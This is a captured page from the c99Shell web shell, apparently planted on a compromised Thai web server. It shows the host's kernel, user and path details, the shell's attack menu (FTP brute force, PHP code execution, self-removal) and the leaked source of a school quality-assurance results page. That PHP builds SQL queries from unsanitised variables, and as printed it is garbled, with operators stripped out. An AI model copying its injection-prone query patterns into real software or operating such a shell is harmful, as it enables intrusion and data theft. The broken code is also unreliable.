!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/manage/QA/   drwxr-xr-x
Free 51.01 GB of 127.8 GB (39.91%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     ResultDetail.php (146.61 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
session_start
();

 if (
session_is_registered("valid_user") && session_is_registered("Priority") )
 {
include(
"../include/FunctionDB.php");
include(
"admin_menu.php");
 
ConnectDB();
$Username $valid_user;
 
$sql ="SELECT * FROM personal_tb WHERE Username='$Username'";
  
$result mysql_query($sql) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result);
   
$sql1 ="SELECT * FROM qa_result_tb WHERE code='$code'";
  
$result1 mysql_query($sql1) or die("Cannot Select").mysql_error();
  
$rs mysql_fetch_array($result1);
?>
<meta http-equiv="Content-Type" content="text/html; charset=TIS-620">
<link href="../source/style.css" rel="stylesheet" type="text/css">
<link href="../css/style1.css" rel="stylesheet" type="text/css">
<script language="JavaScript" type="text/JavaScript">
function MM_reloadPage(init) {  //reloads the window if Na v4 resized
  if (init==true) with (navigator) {if ((appName=="Netscape")&&(parseInt(appVersion)==4)) {
    document.MM_pgW=innerWidth; document.MM_pgH=innerHeight; onresize=MM_reloadPage; }}
  else if (innerWidth!=document.MM_pgW || innerHeight!=document.MM_pgH) location.reload();
}
MM_reloadPage(true);
//-->

}
var highlightcolor="lightyellow"
var ns6=document.getElementById&&!document.all
var previous=''
var eventobj
//Regular expression to highlight only form elements
var intended=/INPUT|TEXTAREA|SELECT|OPTION/

//Function to check whether element clicked is form element
function checkel(which){
if (which.style&&intended.test(which.tagName)){
if (ns6&&eventobj.nodeType==3)
eventobj=eventobj.parentNode.parentNode
return true
}
else
return false
}
</script>
<script type="text/javascript">
var offsetxpoint=-60 //Customize x offset of tooltip
var offsetypoint=20 //Customize y offset of tooltip
var ie=document.all
var ns6=document.getElementById && !document.all
var enabletip=false
if (ie||ns6)
var tipobj=document.all? document.all["dhtmltooltip"] : document.getElementById? document.getElementById("dhtmltooltip") : ""

function ietruebody(){
return (document.compatMode && document.compatMode!="BackCompat")? document.documentElement : document.body
}

function ddrivetip(thetext, thecolor, thewidth){
if (ns6||ie){
if (typeof thewidth!="undefined") tipobj.style.width=thewidth+"px"
if (typeof thecolor!="undefined" && thecolor!="") tipobj.style.backgroundColor=thecolor
tipobj.innerHTML=thetext
enabletip=true
return false
}
}

function positiontip(e){
if (enabletip){
var curX=(ns6)?e.pageX : event.x+ietruebody().scrollLeft;
var curY=(ns6)?e.pageY : event.y+ietruebody().scrollTop;
//Find out how close the mouse is to the corner of the window
var rightedge=ie&&!window.opera? ietruebody().clientWidth-event.clientX-offsetxpoint : window.innerWidth-e.clientX-offsetxpoint-20
var bottomedge=ie&&!window.opera? ietruebody().clientHeight-event.clientY-offsetypoint : window.innerHeight-e.clientY-offsetypoint-20

var leftedge=(offsetxpoint<0)? offsetxpoint*(-1) : -1000

//if the horizontal distance isn't enough to accomodate the width of the context menu
if (rightedge<tipobj.offsetWidth)
//move the horizontal position of the menu to the left by it's width
tipobj.style.left=ie? ietruebody().scrollLeft+event.clientX-tipobj.offsetWidth+"px" : window.pageXOffset+e.clientX-tipobj.offsetWidth+"px"
else if (curX<leftedge)
tipobj.style.left="5px"
else
//position the horizontal position of the menu where the mouse is positioned
tipobj.style.left=curX+offsetxpoint+"px"

//same concept with the vertical position
if (bottomedge<tipobj.offsetHeight)
tipobj.style.top=ie? ietruebody().scrollTop+event.clientY-tipobj.offsetHeight-offsetypoint+"px" : window.pageYOffset+e.clientY-tipobj.offsetHeight-offsetypoint+"px"
else
tipobj.style.top=curY+offsetypoint+"px"
tipobj.style.visibility="visible"
}
}

function hideddrivetip(){
if (ns6||ie){
enabletip=false
tipobj.style.visibility="hidden"
tipobj.style.left="-1000px"
tipobj.style.backgroundColor=''
tipobj.style.width=''
}
}
document.onmousemove=positiontip
</script>
<style type="text/css">
<!--
.style20 {font-size: 14px}
-->
</style>
<table width="817" border="0" cellpadding="0" cellspacing="0">
    <tr>
        <td width="817"><br><fieldset>
            <legend><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="Qa_menu.php" >หน้าหลัก</a> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><a href="AddResult.php">ประเมินผลการประกันคุณภาพ</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"> <img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" /><a href="ResultList.php">สรุปผลการประเมิน</a></font><font size="2" color="<?php echo $GLOBALS["COLOR_FONT_3"]; ?>"><img src="../picture/ico3.gif" width="10" height="10" border="0" align="absmiddle" />ผลการประเมินหัวข้องานประกัน</font></legend>
            <label><div align="center">
              <form id="form1" name="form1" method="post" action="">
              <table width="95%" border="0" align="center" cellpadding="0" cellspacing="0" bgcolor="#CCCCCC" style="border:1px solid gray">
                <tr bgcolor="#CCCCCC">
                  <td height="27" colspan="3" ><div align="center" class="style20"><font color="#FFFFFF" face="Tahoma"><strong>ผลการประเมินหัวข้องานประกันคุณภาพการศึกษาภายใน</strong></font></div></td>
                </tr>
                
                <tr bgcolor="#FFFFFF">
                  <td width="16%"><div align="center"><span class="style20"><strong><font face="Tahoma">ปีการศึกษา</font></strong></span></div></td>
                  <td width="2%">&nbsp;</td>
                  <td width="82%"><strong><font size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Term]?>&nbsp;</font></strong></td>
                </tr>
                <tr bgcolor="#FFFFFF">
                  <td><div align="center" class="style20"><strong><font face="Tahoma">ประเมินครั้งที่</font></strong></div></td>
                  <td>&nbsp;</td>
                  <td><strong><font size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Times]?></font></strong></td>
                </tr>
                <tr bgcolor="#FFFFFF">
                  <td><div align="center" class="style20"><font face="Tahoma"><strong>รายชื่อผู้ประเมิน</strong></font></div></td>
                  <td>&nbsp;</td>
                  <td><strong><font size="2" face="Tahoma">&nbsp;&nbsp;<? echo $rs[Assessor]?></font></strong></td>
                </tr>
                <tr bgcolor="#CCCCCC">
                  <td colspan="3"><div align="center">
                      <table width="100%" border="0" align="center" cellpadding="0" cellspacing="1" bgcolor="#E9E9E9">
                        <tr>
                          <td width="8%" rowspan="2" bgcolor="#DDDDDD"><div align="center" class="style20"><strong><font face="Tahoma">มาตรฐาน</font></strong></div></td>
                          <td width="9%" rowspan="2" bgcolor="#DDDDDD"><div align="center"><strong><font face="Tahoma"><span class="style20">ตัวบ่งช</span></font><font size="2" face="Tahoma">ี้</font></strong></div></td>
                          <td width="52%" bgcolor="#DDDDDD"><div align="center"><font size="2" face="Tahoma"><strong>คะแนนการประเมิน 
                            / เกณฑ์การประเมิน</strong></font></div></td>
                          <td width="31%" rowspan="2" bgcolor="#DDDDDD"><div align="center"><font size="2" face="Tahoma"><strong>สรุปการประเมิน</strong></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellpadding="0" cellspacing="1" bgcolor="#CCCCCC">
                              <tr>
                                <td width="25%"><div align="center" class="style20"><strong><font face="Tahoma">Aware</font></strong></div></td>
                                <td width="25%"><div align="center" class="style20"><strong> <font face="Tahoma">Attempt</font></strong></div></td>
                                <td width="25%"><div align="center" class="style20"><strong> <font face="Tahoma">Achieve1</font></strong></div></td>
                                <td width="25%"><div align="center" class="style20"><strong> <font face="Tahoma">Achieve2</font></strong></div></td>
                              </tr>
                          </table></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">1.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma" >
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S11 
$rs[S11];
                          if (
$S11 == 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S11 
$rs[S11];
                          if (
$S11== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S11 
$rs[S11];
                          if (
$S11== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S11 
$rs[S11];
                          if (
$S11== 10)
                             echo
"10 คะแนน";
                        
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center" ><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" height="18" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S12 
$rs[S12];
                          if (
$S12== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S12 
$rs[S12];
                          if (
$S12== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S12 
$rs[S12];
                          if (
$S12== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S12 
$rs[S12];
                          if (
$S12== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.3'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.3</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S13 
$rs[S13];
                          if (
$S13== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S13 
$rs[S13];
                          if (
$S13== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S13 
$rs[S13];
                          if (
$S13== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S13 
$rs[S13];
                          if (
$S13== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.4'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.4</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S14 
$rs[S14];
                          if (
$S14== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S14 
$rs[S14];
                          if (
$S14== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S14 
$rs[S14];
                          if (
$S14== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S14 
$rs[S14];
                          if (
$S14== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.5'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.5</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S15 
$rs[S15];
                          if (
$S15== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S15 
$rs[S15];
                          if (
$S15== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S15 
$rs[S15];
                          if (
$S15== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S15 
$rs[S15];
                          if (
$S15== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.6'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.6</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S16 
$rs[S16];
                          if (
$S16== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S16 
$rs[S16];
                          if (
$S16== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S1 
$rs[S16];
                          if (
$S16== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S16 
$rs[S16];
                          if (
$S16== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.7'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.7</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S17 
$rs[S17];
                          if (
$S17== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S17 
$rs[S17];
                          if (
$S17== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S17 
$rs[S17];
                          if (
$S17== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S17 
$rs[S17];
                          if (
$S17== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.8'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.8</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S18 
$rs[S18];
                          if (
$S18== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S18 
$rs[S18];
                          if (
$S18== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S18 
$rs[S18];
                          if (
$S18== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S18 
$rs[S18];
                          if (
$S18== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><font size="2" face="Tahoma">&nbsp;</font></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='1.9'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">1.9</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#EDFADC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S19 
$rs[S19];
                          if (
$S19== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E6F8CD"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S19 
$rs[S19];
                          if (
$S19== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#DDF5BC"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S19 
$rs[S19];
                          if (
$S19== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#D3F2AA"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S19 
$rs[S19];
                          if (
$S19== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#FFFFE8">&nbsp;</td>
                          <td bgcolor="#D9F4FB"><div align="center">
                              <table width="100%" border="0" cellspacing="0" cellpadding="0">
                                <tr bgcolor="#FFFFE8">
                                  <td width="50%" height="18" bgcolor="#FFFFE8"><div align="center"><font color="#003366" size="2" face="Tahoma"><strong>รวมมาตรฐานที่1</strong></font></div></td>
                                  <td width="50%" bgcolor="#FFFFE8"><div align="center"><font color="#FF0000" size="4" face="Tahoma"><strong>
                                      <?php
  $SumStd1 
$rs[S11] + $rs[S12] + $rs[S13] + $rs[S14] + $rs[S15] + $rs[S16] + $rs[S17] + $rs[S18] + $rs[S19];
  echo
"$SumStd1";
  
?>
                                  </strong></font></div></td>
                                </tr>
                              </table>
                          </div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma">2.0</font></div></td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.1'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.1</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S21 
$rs[S21];
                          if (
$S21== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S21 
$rs[S21];
                          if (
$S21== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S21 
$rs[S21];
                          if (
$S21== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S21 
$rs[S21];
                          if (
$S21== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"><font size="2" face="Tahoma"><a href="Standard/Std2/Topic2_1.php" class="c">ผลลัพธ์ 
                            2.1</a></font></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.2'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.2</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S22 
$rs[S22];
                          if (
$S22== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S22 
$rs[S22];
                          if (
$S22== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S22 
$rs[S22];
                          if (
$S22== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S22 
$rs[S22];
                          if (
$S22== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.3'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.3</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
                              <tr>
                                <td width="25%" bgcolor="#E9FAFE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S23 
$rs[S23];
                          if (
$S23== 2)
                             echo
"2 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#E0F8FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S23 
$rs[S23];
                          if (
$S23== 5)
                             echo
"5 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#CFF2FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S23 
$rs[S23];
                          if (
$S23== 7)
                             echo
"7 คะแนน";
                    
?>
                                </font></div></td>
                                <td width="25%" bgcolor="#C0F0FE"><div align="center"><font color="#FF0000" size="2" face="Tahoma">
                                    <?php
                      $S23 
$rs[S23];
                          if (
$S23== 10)
                             echo
"10 คะแนน";
                    
?>
                                </font></div></td>
                              </tr>
                          </table></td>
                          <td bgcolor="#FFFFFF"><div align="center"></div></td>
                        </tr>
                        <tr>
                          <td bgcolor="#FFFFFF">&nbsp;</td>
                          <td bgcolor="#EEEEEE"><div align="center"><font size="2" face="Tahoma">
                              <?php
              $sql 
"Select * From  qa_pi_cri_tb Where Ind_code='2.4'";
              
$result1 mysql_query($sql);
              
$rss mysql_fetch_array($result1);
             
// echo"$rss[Indicate]";
              
?>
                          <a href="#" onmouseover="ddrivetip('<? echo $rss[Indicate?>','#FFE7CE', 300)"; onmouseout="hideddrivetip()" class="d">2.4</a></font></div></td>
                          <td bgcolor="#EEEEEE"><table width="100%" border="0" cellspacing="0" cellpadding="0">
